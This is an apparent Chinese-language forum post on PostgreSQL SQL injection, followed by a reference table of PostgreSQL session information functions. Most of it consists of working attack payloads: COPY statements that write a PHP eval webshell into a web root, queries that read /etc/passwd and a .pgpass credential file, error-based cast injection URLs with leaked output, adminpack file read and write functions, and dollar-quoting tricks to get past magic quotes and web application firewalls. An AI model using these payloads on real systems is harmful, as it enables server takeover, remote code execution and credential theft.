1.在postgresql下导出webshell
create table mickey_shell(shell text not null);
insert into shell values('<?PHP eval($_POST[cmd]);?>');
copy mickey_shell(shell) to '/var/www/html/mickey.PHP';
另一种简便的方法:
copy (select '<?PHP eval($_POST[cmd]);?>') to '/var/www/html/mickey.PHP'
2.如果没有写权限,可以尝试读文件
create table mickey_file(file text not null);
copy mickey_file (file) from '/etc/passwd';
select * from mickey_file;
读取文件前20行
pg_read_file('/etc/passwd',1,20)
PGADMIN 的帐户信息,在linux 下默认存放在用户家目录的.pgpass 文件中
mickey@pentest:~$ pwd
/home/mickey
mickey@pentest:~$ cat .pgpass
127.0.0.1:5432:*:postgres:mickey
判断postgresql 数据库
http://www.xxx.com/news.php?id=62 and 1::int=1
通过cast 类型转换来暴postgresql 信息
http://www.xxx.com/new.php?id=1 and 1=cast(version() as int)
Warning: pg_exec() [function.pg-exec]: Query Failed: ERROR: invalid
input Syntax for integer: "Postgresql 8.2.9 on
i386-portbld-freebsd6.3,compiled by GCC cc (GCC) 3.4.6 [FreeBSD]
20060305" in /usr/local/www/apache22/data/qzx/news.PHP on line 6
http://www.xxx.com/new.php?id=1 and 1=cast(current_user as int)
如果遇到此类的出错信息
Warning: pg_exec() [function.pg-exec]: Query Failed: ERROR: cannot
cast type name to integer in /usr/local/www/apache22/data/qzx/news.PHP
on line 6
则
http://www.xxx.com/new.php?id=1 and 1=cast(current_user ||123 as int)
Warning: pg_exec() [function.pg-exec]: Query Failed: ERROR: invalid
input Syntax for integer: "zhangfeng123" in
/usr/local/www/apache22/data/qzx/homehs.PHP on line 109
我的小小补充
没研究注入许久了,多谢Mickey兄提供才有了我重新审视pgsql注入的机会。
从pgsql8.2开始支持adminpack这个包,看了代码过后认为几乎对于管理员来说,可以无限制使用。(代码 https://projects.commandprompt.com/public/replicator/browser/trunk /contrib/adminpack/adminpack.c)。权限要求很高。主要有这几个函数
pg_file_write(filename,text,bool) bool为覆盖模式
pg_read_file(filename,pos,length) 返回类型text不提,很好利用,不管是cast暴值还是union
pg_ls_dir(dirname)
注意他的返回类型为setof text 需要这样来(select pg_ls_dir('/var/www/') limit 1 offset n)这样来读取不同记录
pg_stat_file(filename) 这个返回结果是record,为文件属性,需要把他作为一个子表来看待。不太清楚具体的返回字段。有兴趣的同学自己看看。另外像pg_file_unlink,pg_file_raname不提。
单引号的绕过在pg8.0以上容易实现。这部分来源于老外的文档。大致意思可以用$quote$代替单引号,也可以用$$来定义字符。比如'test'变成$quote$test$quote$或$$test$$。这样对PHP的注入就大为方便了。
下面引用自:Advanced Postgresql sql Injection and Filter Bypass Techniques(作者:Leon Juranić)
This allows the attacker string quoting with the dollar sign; the following two strings
are treated identically by a Postgresql database version 8 or higher: 'TEST' and $$TEST$$.
Considering that magic quotes does not filter dollar signs,this allows the attacker to inject
strings into sql statements without the need to use the CHR() function. Such encoding of
strings can also be used with web application firewalls that filter other characters,such as the
pipe ('|') character.
The following example shows a SELECT statement using a dollar-quoted string constant:
SELECT $$DOLLAR-SIGN-TEST$$;
Finally,Postgresql supports string quoting with tags. Tags have to be defined between the
dollar signs ($tag$),as shown in the example below:
SELECT $quote$DOLLAR-SIGN-TEST$quote$;
This can further help the attacker bypass web application firewalls.
附录:
系统信息函数
表 9-39. 会话信息函数 |
||
名字 |
返回类型 |
描述 |
current_database() |
name |
当前数据库的名字 |
current_schema() |
name |
当前模式的名字 |
current_schemas(boolean) |
name[] |
在搜索路径中的模式名字 |
current_user |
name |
目前执行环境下的用户名 |
inet_client_addr() |
inet |
连接的远端址 |
inet_client_port() |
int |
连接的远端端口 |
inet_server_addr() |
inet |
连接的本地地址 |
inet_server_port() |
int |
连接的本地端口 |
session_user |
name |
会话用户名 |
pg_postmaster_start_time() |
timestamp with time zone |
postmaster 启动的时间 |
user |
name |
等于 current_user |
version () |
text |
Postgresql 版本信息 |
session_user 通常是初始化当前数据库联接的用户, 不过超级用户可以用 SET SESSION AUTHORIZATION 修改这个设置。 current_user 是用于权限检查的用户标识。通常, 它总是等于会话用户,但是在将来可能有 "setuid" 函数和其他它是等于会话用户, 但是它在函数执行的过程中随着属性 SECURITY DEFINER 的改变而改变。 在 Unix 的说法里,那么会话用户是 " 真实用户 " ,而当前用户是 " 有效用户 " 。